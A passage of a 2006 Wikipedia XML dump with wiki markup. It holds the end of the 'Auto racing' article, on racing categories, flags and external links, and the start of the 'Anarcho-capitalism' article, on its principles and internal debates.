The best-known variety of single-seater racing is the [[Formula One]] World Championship, which involves an annual championship featuring major international car and engine manufacturers in an ongoing battle of technology and driver skill. Formula One is, by any measure, the most expensive sport in the world, with some teams spending in excess of 201 million US dollars per year. Formula One is widely considered to be the pinnacle of motorsports, and a seat in a Formula One car is undoubtedly the peak of any driver's racing career. In North America, the cars used in the [[American Championship Car Racing|National Championship]] (currently [[Champcars]] and the [[Indy Racing League]]) have traditionally been similar to [[F1 cars]] but with more restrictions on technology aimed at helping to control costs.

Other single-seater racing series are [[GP2 Series|GP2]] (formerly known as [[Formula 3000]] and [[Formula Two]]), [[Formula Nippon]], [[Formula Nissan]] (also known as the Telefonica World Series), [[Formula Three]], [[Formula Atlantic]], and [[A1 Grand Prix]].

There are other categories of single-seater racing, including [[kart racing]], which employs a small, low-cost machine on small tracks. Many of today's top drivers started their careers in karts.

=== Rallying ===
:''Main article: [[Rallying]]''
[[Rallying]], or rally racing,  involves highly modified production cars on (closed) public roads or off-road areas run on a point-to-point format where participants and their co-drivers “rally” to a set of points, leaving in regular intervals from start points. A rally is typically conducted over a number of stages of any terrain, which entrants are often allowed to scout beforehand. The co-driver uses the &quot;pacenotes&quot; to help the driver complete each stage as fast as possible, reading the detailed shorthand aloud over an in-car intercom system. Competition is based on lowest total elasped time over the course of an event.

The top series is the [[World Rally Championship]] (WRC), but there also regional championships and many countries have their own national championships. Some famous rallies include the [[Monte Carlo Rally]] and [[Rally Argentina]]. Another famous event (actually best described as a &quot;[[rally raid]]&quot;) is the [[Paris-Dakar Rally]]. There are also many smaller, club level, [[categories of rallies]] which are popular with amateurs, making up the &quot;grass roots&quot; of motorsports.

=== Ice Racing ===
:''Main article: [[Ice Racing]]''

=== Touring car racing===
:''Main article: [[Touring car racing]]''
[[Image:11_murphy_leads.jpg|left|170px|thumb|V8 Supercar Touring car racing]]
Touring car racing is a style of road racing that is run with production derived race cars. It often features exciting, full-contact racing due to the small speed differentials and large grids.

The [[V8 Supercars]] originally from [[Australia]], [[Deutsche Tourenwagen Masters]] originally from [[Germany]], and the [[World Touring Car Championship]] held with 2 non-European races (previously the [[European Touring Car Championship]]) are the major touring car championships conducted worldwide. 

The [[Sports Car Club of America]]'s [[SPEED World Challenge]] Touring Car and GT championships are dominant in North America while the venerable [[British Touring Car Championship]] continues in [[Great Britain]]. America's historic [[Trans-Am Series]] is undergoing a period of transition, but is still the longest-running road racing series in the U.S.  The [[National Auto Sport Association]] also provides a venue for amateurs to compete in home-built factory derived vehicles on various local circuits.

===Stock car racing===
[[Image:Riverside_Raceway.JPG|thumb|250px|right|One of the most famous NASCAR tracks was the old [[Riverside International Raceway]] in [[Riverside, California]].]]

:''Main article: [[Stock car racing]]''
[[Stock car racing]] is the American variant of touring car racing. Usually conducted on ovals, the cars look like production cars but are in fact purpose-built racing machines which are all very similar in specifications. Early stock cars were much closer to production vehicles; the car to be raced was often driven from track to track.

The main stock car racing series is [[NASCAR]]  and among the most famous races in the series are the [[Daytona 500]] and [[Allstate 400 at The Brickyard]]. NASCAR also runs the [[Busch Series]] (a junior stock car league) and the [[Craftsman Truck Series]] ([[pickup truck]]s). 

NASCAR also runs the [[Featherlite]] series of &quot;modified&quot; cars which are heavily modified from stock form.  With powerful engines, large tires, and light bodies. NASCAR's oldest series is considered by many to be its most exciting.

There are also other stock car series like [[IROC]] in the United States and [[CASCAR]] in [[Canada]].

[[British Stock car racing]] is a form of Short Oval Racing 
This takes place on Shale or Tarmac tracks in either Clockwise or Anti-Clockwise direction, Depending on the class some of which are contact.

Races are organised by local promoters and all drivers are registered with BRISCA and have their own race number.

What classes exist depends on the promoters, so events in [[Scotland]] at Cowdenbeath can be very different from an event at [[Wimbledon Stadium]] in [[London]].

''Formula Cars''
* F1 - Cars built to Specification normally utilising 5,6 or 7 Litre V8 engines
* F2 - Specification built cars similar to F1 with 2 Litre Ford Pinto Engines
These are the two main National forms of British Stock Car Racing, there are World Championships organised by the governing body [http://www.brisca.com/BRISCA]

There are also local variants raced in some smaller tracks, they are usually similar to F2 Stock Cars.

F1's race (in the UK) at the following venues:

Belle Vue Stadium (Manchester),
Owlerton Stadium (Sheffield),
Skegness Stadium,
Buxton,
Hednesford,
Birmingham,
Northampton,
Coventry,
Kings Lynn,
Ipswich,
Cowdenbeath,
Knockhill.

They also race in Holland.

''Hot Rods''
* Local Variations on the concept of fibreglass cars that look like production models Non Contact

''Production Models''
*Modified Road cars, classes range from Non-Contact 2 Litre Hot Rods to Contact Banger Racing.

Contact Classes can be identified by the inclusion of external side impact bars and large bumpers at either end made out of square section steel.

===Drag racing===
:''Main article: [[Drag racing]]''
In [[drag racing]], the objective is to complete a certain distance, traditionally 1/4 mile, (400 m), in the shortest possible time. The vehicles range from the everyday car to the purpose-built [[dragster]]. Speeds and elapsed time differ from class to class. A street car can cover the 1/4 mile (400 m) in 15 s whereas a [[top fuel dragster]] can cover the same distance in 4.5 s and reach 330 mph (530 km/h).  Drag racing was organised as a sport by [[Wally Parks]] in the early [[1950s]] through the [[NHRA]] (National Hot Rod Association) which is the largest sanctioning motor sports body in the world. The NHRA was formed to prevent people from [[street racing]]. Illegal street racing is not drag racing.

Launching its run to 330 mph (530 km/h), a top fuel dragster will accelerate at 4.5 ''[[Gee|g]]'' (44 m/s&lt;sup&gt;2&lt;/sup&gt;), and when braking and parachutes are deployed, the driver experiences deceleration of 4 ''g'' (39 m/s&lt;sup&gt;2&lt;/sup&gt;), more than space shuttle occupants. A single top fuel car can be heard over eight miles (13 km) away and can generate a reading of 1.5 to 2 on the [[Richter scale]]. (NHRA Mile High Nationals 2001, and 2002 testing from the National Seismology Center.)

Drag racing is often head-to-head where two cars battle each other, the winner proceeding to the next round. Professional classes are all first to the finish line wins. Sportsman racing is handicapped (slower car getting a head start) using an index, and cars running faster than their index &quot;break out&quot; and lose.

Drag racing is mostly popular in the [[United States]].

===Sports car racing===
:''Main article: [[Sports car racing]]''
In [[sports car racing]], production versions of sports cars and purpose-built prototype cars compete with each other on closed circuits. The races are usually conducted over long distances, at least 1000 km, and cars are driven by teams of two or three drivers (and sometimes more in the US), switching every now and then. Due to the performance difference between production based sports cars and sports racing prototypes, one race usually involves many racing classes. In the US the [[American Le Mans]] Series was organized in 1999, featuring GT, GTS, and two prototype classes. Another series based on Le Mans began in 2004, the [[Le Mans Endurance Series]], which included four 1000 km races at tracks in Europe. A competing body, [[Grand-Am]], which began in 2000, sanctions its own set of endurance series, the [[Rolex Sports Car Series]] and the [[Grand-Am Cup]]. Grand-Am events typically feature many more cars and much closer competition than American Le Mans.

Famous sports car races include the [[24 Hours of Le Mans]], the [[24 Hours of Daytona]] and the [[12 Hours of Sebring]].

===Offroad racing===
:''Main article: [[Offroad racing]]''
In [[offroad racing]], various classes of specially modified vehicles, including cars, compete in races through off-road environments. In North America these races often take place in the desert, such as the famous [[Baja 1000]].
In Europe, &quot;offroad&quot; refers to events such as autocross or rallycross, while desert races and rally-raids such as the [[Paris-Dakar Rally|Paris-Dakar]], [[Master Rallye]] or European &quot;bajas&quot; are called Cross-Country Rallies.

===Hillclimbing===
:''Main article: [[Hillclimbing]]''

===Kart racing===
:''Main article: [[Kart racing]]''
Although often seen as the entry point for serious racers into the sport, [[kart racing]], or karting, can be an economic way to try your luck at motorsport and is also a fully fledged international sport in its own right. World-famous F1-drivers like [[Michael Schumacher|Michael]] and [[Ralf Schumacher]] and most of the typical starting grid of a modern Grand Prix took up the sport at around the age of eight, with some testing from age three. Several former motorcycle champions have also taken up the sport, notably [[Wayne Rainey]], who was paralysed in a racing accident and now races a hand-controlled kart. As one of the cheapest ways to go racing, karting is seeing its popularity grow worldwide.

Go-karts, or just &quot;karts&quot; - seem very distant from normal road cars, with dimunitive frames and wheels, but a small engine combined with very light weight make for a quick machine. The tracks are also on a much smaller scale, making kart racing more accessible to the people.

===Legend car racing===
:''Main article: [[Legend car racing]]'' 

===Other categories===
*[[Autocross|Autocrossing]]
*[[Autograss]]
*[[Demolition Derby]]
*[[Dirt speedway racing]]
*[[Dirt track racing]]
*[[Drifting (motorsport)|Drifting]]
*[[Truck Racing|Grand Prix Truck Racing]]
*[[Road racing]]
*[[Short track motor racing]]
*[[SoloMotorsport|Solo]]
*[[Street racing]]
*[[Rallycross]]
*[[Folkrace]]

==Use of flags==
''Main article: [[Racing flags]]''

In open-wheel, stock-car and other types of circuit auto races, flags are displayed to indicate the general status of a race and to communicate instructions to competitors in a race. While the flags have changed from the first years (e.g. red used to start a race), these are generally accepted for today.

{|
! Flag
! Displayed from start tower
! Displayed from observation post
|-
|[[Image:Auto Racing Green.svg|25px|Green flag]]
|The race has started or resumed after a full caution or stop, or the race is proceeding normally.
|End of hazardous section of track.
|-
|[[Image:Auto Racing Yellow.svg|25px|Yellow flag]]
|Full course caution condition for ovals. On road courses, it means a local area of caution. Depending on the type of racing, either two yellow flags will be used for a full course caution or a sign with 'SC' ([[Safety car]]) will be used as the field follows the [[pace car|pace/safety car]] on track and no cars may pass.
|Local caution condition — no cars may pass at the particular corner where being displayed.
|-
|[[Image:Auto Racing Oil.svg|25px|Yellow flag with red stripes]]
|Debris or slippery patches on the track.
|-
|[[Image:Auto Racing Black.svg|25px|Black flag]]
|The car with the indicated number must pit.
|The session is halted; all cars on course must return to pit lane.
|-
|[[Image:Auto Racing Orange Circle.svg|25px|Meatball flag]]
|The car with the indicated number has mechanical trouble.
|-
|[[Image:Auto Racing Black White.svg|25px|Black and white flag]]
|The driver of the car with the indicated number has been penalized for misbehaviour.
|-
|[[Image:Auto Racing White Cross.svg|25px|White cross flag]]
|The driver of the car with the indicated number is disqualified or will not be scored until they report to the pits.
|-
|[[Image:Auto Racing Blue.svg|25px|Blue flag with yellow stripe]]
|A car must allow another car to pass if the flag is blue only.  With an orange or yellow stripe, it simply serves as a warning that faster traffic is behind.
|A car is being advised to give way to faster traffic approaching.
|-
|[[Image:Auto Racing Red.svg|25px|Red flag]]
|The race is stopped—all cars must halt on the track or return to pit lane.
|-
|[[Image:Auto Racing White.svg|25px|White flag]]
|One lap remains.
|A slow vehicle is on the track.
|-
|[[Image:Auto Racing Chequered.svg|25px|Chequered flag]]
|The race has concluded.
|}

==Accidents==
For the worst accident in racing history see [[Pierre Levegh]].

==See also==
* [[Engine tuning]]
* [[Import scene]]
* [[List of Auto Racing tracks]]
* [[Race track]]
* [[Racing game]]
* [[Reading spark plugs for racing]]
* [[Sim racing]]

==External links==

* [http://www.nascarup.com Nascarup.com - NASCAR news on the Nextel Cup, Busch, and Craftsman Truck Series]
* [http://www.formula1.com The Official Formula One Website with news, results and stats]
* [http://www.grandamerican.com The official web site of the Grand American Road Racing Association]
* http://www.trackbytes.com Full coverage of SPEED World Challenge and American Le Mans Series
* http://www.autosport.com AutoSport Magazine
* http://www.speedtv.com SPEED TV Network
* http://www.motorstv.com Motors TV Network
* [http://www.sportscarcup.com Sports Cars] Sports car pictures and specifications
* http://www.rennleitung.de: Rennleitung
* http://www.motorsport.com: Covering All Forms of Auto Racing
* http://www.britishmotorracingsafetyfund.org Promoting safety and raising money for the Sport in the UK
* [http://NHRA.com NHRA]   
* [http://IHRA.com IHRA]
* [http://www.automotive.com/features/36/auto-racing/ Auto Racing News]
* http://www.racerweek.com: F1, NASCAR &amp; Rally racing forums
* http://www.formula1review.com: F1 news, results, statistics, motorsports forum
* [http://www.rinehartsracing.com Drag Racing Photos]
* [http://www.inforally.sibiul.ro Rally News and Photo]
*[http://www.the-paddock.net The-Paddock.net] covers a wide range of Sportscar-Racing series , including ALMS &amp; Grand-AM
* [http://www.F1Talk.org/ F1Talk] — F1 Talking
* [http://www.f1stockcars.co.uk/ BriSCA F1 Stock Cars]

&lt;!-- interwiki --&gt;

[[Category:Auto racing|*]]

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[[de:Automobilsport]]
[[eo:Aŭtosporto]]
[[es:Automovilismo]]
[[et:Autosport]]
[[fa:اتومبیل‌رانی]]
[[fr:Compétition automobile]]
[[hr:Automobilizam]]
[[it:Automobilismo]]
[[ja:モータースポーツ]]
[[ko:자동차 경주]]
[[lt:Autosportas]]
[[mk:Моторни трки]]
[[nl:Autosport]]
[[no:Motorsport]]
[[pl:Wyścig samochodowy]]
[[pt:Automobilismo]]
[[ro:Automobilism]]
[[ru:Автоспорт]]
[[uk:Автомобільні гонки]]
[[zh:賽車]]</text>
    </revision>
  </page>
  <page>
    <title>Anarcho-capitalism</title>
    <id>1023</id>
    <revision>
      <id>41906789</id>
      <timestamp>2006-03-02T14:58:24Z</timestamp>
      <contributor>
        <ip>85.27.55.166</ip>
      </contributor>
      <comment>/* Criticisms by other radical capitalists */</comment>
      <text xml:space="preserve">[[Image:Libertatis Aequilibritas GFDL.jpg|150px|thumb|left|The ''Libertatis Æquilibritas'' is one [[Anarcho-capitalist_terminology_and_symbolism|symbol]] used by anarcho-capitalists {{fact}}]]
{{Libertarianism}}

'''Anarcho-capitalism''' (aka '''free market anarchism''') is a [[philosophy]] based on the idea of [[individual sovereignty]],  and a prohibition against initiatory [[coercion]] and [[fraud]].  It sees the only just basis for [[law]] as arising from [[private property]] norms and an unlimited right of [[contract]] between sovereign individuals.  From this basis, anarcho-capitalism rejects the [[state]] as an unjustified monopolist and systematic aggressor against sovereign individuals, and embraces [[anti-statist]] [[laissez-faire]] [[capitalism]]. Anarcho-capitalists would aim to protect [[individual liberty]] and [[property]] by replacing a government monopoly, which is involuntarily funded through [[taxation]], with private, competing businesses that use physical force only in defense of liberty and property against aggressors. Hence, they believe that all goods and services, including law, order, and security, should be supplied through the mechanism of a [[free market]].

The philosophy embraces [[anti-statism|stateless]] capitalism as one of its foundational principles. The first well-known version of anarcho-capitalism to identify itself thus was developed by economists of the [[Austrian School]] and [[libertarians]] [[Murray Rothbard]] and [[Walter Block]] in the mid-20th century, synthesizing elements from Austrian School [[economics]], [[classical liberalism]] and [[19th century|19th-century]] [[American individualist anarchism]]. While Rothbard bases his philosophy on [[natural law]], others, such as [[David Friedman]], take a pragmatic [[consequentialist]] approach by arguing that anarcho-capitalism should be implemented because such a system would have consequences superior to alternatives. 

Because of this embrace of capitalism, there is considerable tension between anarcho-capitalists and [[anarchist]]s who see the [[anti-capitalism|rejection of capitalism]] as being just as essential to anarchist philosophy as rejection of the state. Despite this tension, many anarcho-capitalists have identified their philosophy as evolving from the tradition of American individualist anarchists such as [[Benjamin Tucker]] and [[Lysander Spooner]].

Anarcho-capitalism can be considered a radical development of [[classical liberalism]]. Its grounding in liberalism stems from [[Gustave de Molinari]].  Many proponents of anarcho-capitalism, including Rothbard, argue that Molinari was the first anarcho-capitalist. However, Rothbard admitted that &quot;Molinari did not use the terminology, and probably would have balked at the name&quot; anarcho-capitalist.  Nonetheless, Molinari did argue for a free market, privatization of security, and did not oppose profit. His thoughts were influential on Rothbard and his contemporaries.

==Philosophy==
===The nonaggression axiom===
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|bgcolor=&quot;#dbeaff&quot;|
The term ''anarcho-capitalism'' was most likely coined in the mid-1950s by the economist [[Murray Rothbard]].&lt;ref&gt;Rothbard, Murray N. (1988) &quot;What's Wrong with Liberty Poll; or, How I Became a Libertarian&quot;, Liberty, July 1988, p.53&lt;/ref&gt;  Other terms used for this philosophy include:
*capitalist anarchism
*anti-state capitalism
*anarcho-liberalism
*stateless capitalism
*the private-law society&lt;ref name=Hoppe-2001&gt;[[Hans-Hermann Hoppe|Hoppe, Hans-Hermann]] (2001) [http://www.lewrockwell.com/hoppe/hoppe5.html &quot;Anarcho-Capitalism: An Annotated Bibliography&quot;] Retrieved [[23 May]] [[2005]]&lt;/ref&gt;
*radical capitalism&lt;ref name=Hoppe-2001/&gt;
*right-anarchism&lt;ref&gt;Wall, Richard (2004) [http://www.chomsky.info/onchomsky/20040817.htm &quot;Who's Afraid of Noam Chomsky?&quot;] Retrieved [[19 May]] [[2005]]&lt;/ref&gt;
*[[market anarchism]]
*free market anarchism
*private-property anarchy&lt;ref name=Hoppe-2001/&gt;
*stateless liberalism
*[[voluntaryism]]
|}

[[Image:Althing-stamp.jpg|200px|thumb|right|A postage stamp celebrating the thousand-year anniversary of the [[Althing|Icelandic parliament]]. According to a theory associated with the economist [[David Friedman]], [[Icelandic Commonwealth|medieval Icelandic society]] was anarcho-capitalist. Chieftancies could be bought and sold, and were not geographical monopolies; individuals could voluntarily choose membership in any chieftan's clan.]]
{{main|non-aggression axiom}}
Anarcho-capitalism, as formulated by Rothbard and others, holds strongly to the central [[libertarian]] ''nonaggression axiom'':

:[...] The basic axiom of libertarian political theory holds that every man is a [[self-ownership|selfowner]], having absolute jurisdiction over his own body. In effect, this means that no one else may justly invade, or aggress against, another's person. It follows then that each person justly owns whatever previously unowned resources he appropriates or &quot;mixes his labor with.&quot; From these twin axioms — self-ownership and &quot;homesteading&quot; — stem the justification for the entire system of property rights titles in a free-market society. This system establishes the right of every man to his own person, the right of donation, of bequest (and, concomitantly, the right to receive the bequest or inheritance), and the right of contractual exchange of property titles.&lt;ref&gt;Rothbard, Murray N. (1982) [http://www.mises.org/rothbard/lawproperty.pdf &quot;Law, Property Rights, and Air Pollution&quot;] Cato Journal 2, No. 1 (Spring 1982): pp. 55-99. Retrieved [[20 May]] [[2005]]&lt;/ref&gt;

In general, the nonaggression axiom can be said to be a prohibition against the initiation of force, or the threat of force, against persons (i.e., direct violence, [[assault]], [[murder]]) or property (i.e., fraud, [[burglary]], theft, taxation).&lt;ref&gt;Rothbard, Murray N. (1973) [http://www.mises.org/rothbard/newliberty.asp ''For a new Liberty''] Collier Books, A Division of Macmillan Publishing Co., Inc., New York: pp.24-25. Retrieved [[20 May]] [[2005]]&lt;/ref&gt; The initiation of force is usually referred to as [[aggression]] or [[coercion]]. The difference between anarcho-capitalists and other libertarians is largely one of the degree to which they take this axiom. [[Minarchist]] libertarians, such as most people involved in [[Libertarian Party|Libertarian political parties]], would retain the state in some smaller and less invasive form, retaining public [[police]], [[courts]] and [[military]].  In contrast, anarcho-capitalists reject any level of state intervention, defining the state as a coercive monopoly and, as the only entity in human society that derives its income from legal aggression, an entity that inherently violates the central axiom of libertarianism.&lt;ref name=Rothbard-1982.2&gt;Rothbard, Murray N. (1982) [http://www.mises.org/rothbard/ethics/ethics.asp ''The Ethics of Liberty''] Humanities Press ISBN 0814775063:p162 Retrieved [[20 May]] [[2005]]&lt;/ref&gt; Some, such as Rothbard, accept the nonaggression axiom on an intrinsic moral or [[natural law]] basis. Others, such as Friedman, take a [[consequentialist]] or [[egoist]] approach; rather than maintaining that aggression is intrinsically immoral, they maintain that a law against aggression can only come about by contract between self-interested parties who agree to refrain from initiating coercion against each other. It is in terms of the non-aggression principle that Rothbard defined [[anarchism]]; he defined &quot;anarchism as a system which provides no legal sanction for such aggression ['against person and property']&quot; and said that &quot;what anarchism proposes to do, then, is to abolish the State, i.e. to abolish the regularized institution of aggressive coercion.&quot; &lt;ref&gt;Rothbard, Murray N. (1975) [http://www.mises.org/journals/lf/1975/1975_01.pdf ''Society Without A State (pdf)''] ''Libertarian Forum'' newsletter (January 1975)&lt;/ref&gt; In an interview with ''New Banner'', Rothbard said that &quot;capitalism is the fullest expression of anarchism, and anarchism is the fullest expression of capitalism.&quot;  &lt;ref&gt;[http://www.lewrockwell.com/rothbard/rothbard103.html ''Exclusive Interview With Murray Rothbard''] The New Banner: A Fortnightly Libertarian Journal ([[25 February]] [[1972]])&lt;/ref&gt;

===Original appropriation===
Central to anarcho-capitalism are the concepts of [[self-ownership]] and [[original appropriation]]:

&lt;blockquote&gt;Everyone is the proper owner of his own physical body as well as of all places and nature-given goods that he occupies and puts to use by means of his body, provided only that no one else has already occupied or used the same places and goods before him. This ownership of &quot;originally appropriated&quot; places and goods by a person implies his right to use and transform these places and goods in any way he sees fit, provided only that he does not change thereby uninvitedly the physical integrity of places and goods originally appropriated by another person. In particular, once a place or good has been first appropriated by, in [[John Locke]]'s phrase, 'mixing one's labor' with it, ownership in such places and goods can be acquired only by means of a voluntary — contractual — transfer of its property title from a previous to a later owner.&lt;ref name=Hoppe-2002&gt;Hoppe, Hans-Hermann (2002) [http://www.lewrockwell.com/hoppe/hoppe7.html &quot;Rothbardian Ethics&quot;] Retrieved [[23 May]] [[2005]]&lt;/ref&gt;&lt;/blockquote&gt;

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Anarcho-capitalism uses the following terms in ways that may differ from common usage or various anarchist movements::
*'''Anarchism:''' any philosophy that opposes all forms of initiatory coercion (includes opposition to the State)
*'''Contract:''' a voluntary binding agreement between persons
*'''Coercion:''' physical force or threat of such against persons or property
*'''Capitalism:''' economic system where the means of production are privately owned, and where investments, production, distribution, income, and prices are determined through the operation of a free market rather than by government
*'''Free market:''' a market where all decisions regarding transfer of money, goods (including capital goods), and services are voluntary
*'''Fraud:''' inducing one to part with something of value through the use of dishonesty 
*'''State:''' an organization that taxes and engages in regularized and instutionalized aggressive coercion
*'''Voluntary:''' any action not influenced by coercion or fraud perpetrated by any human agency
{{see also|Anarcho-capitalist terminology and symbolism}}
|}

This is the root of anarcho-capitalist [[property rights]], and where they differ from [[collectivism|collectivist]] forms of anarchism. Original appropriation allows an individual to claim any &quot;unused&quot; property, including land, and by improving or otherwise using it, own it with the same absolute right as his own body.  According to Rothbard, original appropriation of land is not legitimate by merely claiming it or building a fence around it; it is only by ''using'' land — by mixing one's labor with it — that original appropriation is legitimized: &quot;Any attempt to claim a new resource that someone does not use would have to be considered invasive of the property right of whoever the first user will turn out to be.&quot;&lt;ref name=Rothbard-1962&gt;Rothbard, Murray N. (1962) [http://www.mises.org/rothbard/mes/chap2d.asp ''Man, Economy &amp; State with Power and Market''] Ludwig von Mises Institute ISBN 0945466307 ch2 Retrieved [[19 May]] [[2005]]&lt;/ref&gt; As a practical matter, in terms of the ownership of land, anarcho-capitalists recognize that there are few (if any) parcels of land left on Earth whose ownership was not at some point in time transferred as the result of coercion, usually through seizure by some form of state.  However, unless records and titles exist to confirm the theft and the rightful individual owner most do not believe that this history de-legitimizes current ownerships which are based on consensual transactions. They believe it is wrong to attempt to remedy past coercion by the use of present coercion (i.e., seizure or eviction). 

By accepting an axiomatic definition of private property and property rights, anarcho-capitalists deny the legitimacy of a state on principle:

:&quot;For, apart from ruling out as unjustified all activities such as murder, homicide, [[rape]], trespass, robbery, burglary, theft, and fraud, the [[ethics]] of private property is also incompatible with the existence of a state defined as an agency that possesses a compulsory territorial monopoly of ultimate decision-making (jurisdiction) and/or the right to tax.&quot;&lt;ref name=Hoppe-2002/&gt;

===The contractual society===
The society envisioned by anarcho-capitalists has been called the ''Contractual Society''; &quot;[...] a society based purely on voluntary action, entirely un­hampered by violence or threats of violence.&quot;&lt;ref name=Rothbard-1962/&gt; Because this system relies on voluntary agreements ([[contract]]s) between individuals as the only legal framework, it is difficult to predict precisely what the particulars of this society would look like. Those particulars are disputed both among anarcho-capitalists and between them and their critics.

One particular ramification is that transfer of property and services must be voluntary on the part of ''both'' parties.  No external entities can force an individual to accept or deny a particular transaction. An employer might offer [[insurance]] and [[death benefits]] to [[same-sex marriage|same-sex couples]]; another might refuse to recognize any union outside his or her own faith. Individuals would be free to enter into contractual agreements as they saw fit, allowing discrimination or favoritism based on language, [[race]], [[gender]], [[sexual orientation]], or any other categorization. Anarcho-capitalists maintain that the social structure would be self-regulating, since any disenfranchised group can avail themselves of [[boycott]] or [[protest]], and other entrepreneurs will see their own interests (i.e., profit) in servicing the group.

Another important ramification is the fact that any social structure is permissible under anarcho-capitalism as long as it is formed by a contract between individuals. Therefore, radically different &quot;governments&quot; and subeconomies can form, creating a [[panarchism|panarchic]] society. Individuals could live in a privately owned [[democracy]], a [[republic]], or even a [[monarchy]] if they so choose.

One social structure that is not permissible under anarcho-capitalism is one that attempts to claim greater [[sovereignty]] than the individuals that form it. The state is a prime example, but another is the modern [[corporation]] — defined as a legal entity that exists under a different legal code than individuals as a means to shelter the individuals who own and run the corporation from possible legal consequences of acts by the corporation. It is worth noting that Rothbard allows a narrower definition of a corporation: &quot;Corporations are not at all monopolistic privileges; they are free associations of individuals pooling their capital. On the purely free market, such men would simply announce to their creditors that their liability is limited to the capital specifically invested in the corporation [...].&quot;&lt;ref name=Rothbard-1962/&gt; However, this is a very narrow definition that only shelters owners from debt by creditors that specifically agree to the arrangement; it also does not shelter other [[liability]], such as from malfeasance or other wrongdoing.

There are limits to the right to contract under some interpretations of anarcho-capitalism. Rothbard himself asserts that the right to contract is based in [[inalienable rights|inalienable human rights]],&lt;ref name=Rothbard-1982.2/&gt; and therefore any contract that implicitly violates those rights can be voided at will, which would, for instance, prevent a person from permanently selling himself into [[slavery]]. Other interpretations conclude that banning such contracts would in itself be an unacceptably invasive interference in the right to contract.&lt;ref name=Nozick-1973&gt;[[Robert Nozick|Nozick, Robert]] (1973) ''Anarchy, State, and Utopia''&lt;/ref&gt;

===Private law and order===
Anarcho-capitalists only believe in collective defense of individual liberty (i.e., courts, military or police forces) insofar as such groups are formed and paid for on an explicitly voluntary basis. According to Molinari, &quot;Under a regime of liberty, the natural organization of the security industry would not be different from that of other industries.&quot;&lt;ref name=Molinari-1849&gt;Molinari, Gustave de (1849) [http://www.gustavedemolinari.org/GM-PS.htm The Production of Security] ''(trans. J. Huston McCulloch)'' Retrieved [[19 May]] [[2005]]&lt;/ref&gt; Proponents point out that private systems of justice and defense ''already'' exist, naturally forming where the market is allowed to compensate for the failure of the state: private arbitration, security guards, neighborhood watch groups, and so on.&lt;ref name=Friedman-1973&gt;[[David Friedman|Friedman, David D.]] (1973) ''[[The Machinery of Freedom|The Machinery of Freedom: Guide to a Radical Capitalism]]'' Harper &amp; Row ISBN 0060910100 [http://www.daviddfriedman.com/Libertarian/Machinery_of_Freedom/MofF_Chapter_29.html ch29]&lt;/ref&gt; These private courts and police are sometimes referred to generically as Private Defense Agencies ([[PDA]]s.)

The defense of those unable to pay for such protection might be financed by charitable organizations relying on voluntary donation rather than by state institutions relying on coercive taxation, or by cooperative self-help by groups of individuals.

[[Retributive justice]], meaning retaliatory force, is often a component of the contracts imagined for an anarcho-capitalist society. Some believe [[prison]]s or [[indentured servitude]] would be justifiable institutions to deal with those who violate anarcho-capitalist property relations, while others believe [[exile]] or forced [[restitution]] are sufficient.&lt;ref&gt;O'Keeffe, Matthew (1989) [http://www.libertarian.co.uk/lapubs/legan/legan005.pdf &quot;Retribution versus Restitution&quot;] Legal Notes No.5, Libertarian Alliance ISBN 1870614224 Retrieved [[19 May]] [[2005]]&lt;/ref&gt;

===The use of force===
[[Image:Bunkertrumbull.jpg|thumb|300px|right|Many anarcho-capitalists admire the American Revolution and believe it is the only U.S. war that can be justified.]]
The axiom of nonaggression is not necessarily a [[pacifism|pacifist]] doctrine; it is a prohibition against the '''initiation''' of (interpersonal) force.  Like classical liberalism, anarcho-capitalism permits the use of force, as long as it is in the defense of persons or property.

However, the permissible extent of this defensive use of force is an arguable point among anarcho-capitalists. Some argue that the initiator of any aggressive act should be subject to a retributive counterattack beyond what is solely necessary to repel the aggression. The counterargument is that such a counterattack is only legitimate insofar as it was defined in an agreement between the parties.

Another controversial application of &quot;defensive&quot; aggression is the act of revolutionary violence against tyrannical regimes. Many anarcho-capitalists admire [[the American Revolution]] as the legitimate act of individuals working together to fight against [[tyranny|tyrannical]] restrictions of their liberties.  In fact, according to Murray Rothbard, the American Revolutionary War was the only war involving the United States that could be justified.&lt;ref&gt;Rothbard, Murray N. (1973) [http://www.antiwar.com/orig/rothbard_on_war.html Interview] ''Reason'' Feb 1973, Retrieved [[10 August]] [[2005]]&lt;/ref&gt; But, illustrating their general ambivalence toward war, these same people also sharply criticize the revolutionaries for the means used — taxes, [[conscription]], [[inflation|inflationary money]] — and the inadequacy of the result: a state.

While some anarcho-capitalists believe forceful resistance and revolutionary violence against the state is legitimate, most believe the use of force is a dangerous tool at best, and that violent [[insurrection]] should be a last resort.

==Conflicts within anarcho-capitalist theory==
There is dispute on whether anarcho-capitalism is properly justifiable on [[deontological]] or [[consequentialist]] grounds. Natural-law anarcho-capitalism (such as that advocated by Rothbard) holds that rights can be determined through natural law and that consequences are not relevant to their determination. Consequentialists such as Friedman disagree, maintaining that rights are merely human constructs that rational humans create through contract as a result of concluding what sort of system leads to the best consequences. Many anarcho-capitalists also hold a subjective theory of rights, maintaining that the lack of a [[positive right]] to aggress is sufficient to hold up the derivative claims of the nonaggression principle.

Friedman describes an economic approach to anarcho-capitalism. His description differs with Rothbard's because it does not use moral arguments — i.e., it does not appeal to a theory of [[natural rights]] to justify itself. In Friedman's work, the economic argument is sufficient to derive the principles of anarcho-capitalism. Private defense or protection agencies and courts not only defend legal rights but supply the actual content of these rights and all claims on the free market. People will have the law system they pay for, and because of [[economic efficiency]] considerations resulting from individuals' utility functions, such law will tend to be libertarian in nature but will differ from place to place and from agency to agency depending on the tastes of the people who buy the law. Also unlike other anarcho-capitalists, most notably Rothbard, Friedman has never tried to deny the theoretical cogency of the neoclassical literature on &quot;market failure,&quot; nor has he been inclined to attack economic efficiency as a normative benchmark.&lt;ref name=Friedman-1973/&gt;

==Anarchism and anarcho-capitalism==
{{main|Anarchism and anarcho-capitalism}}

===Dispute over the name &quot;anarchism&quot;===
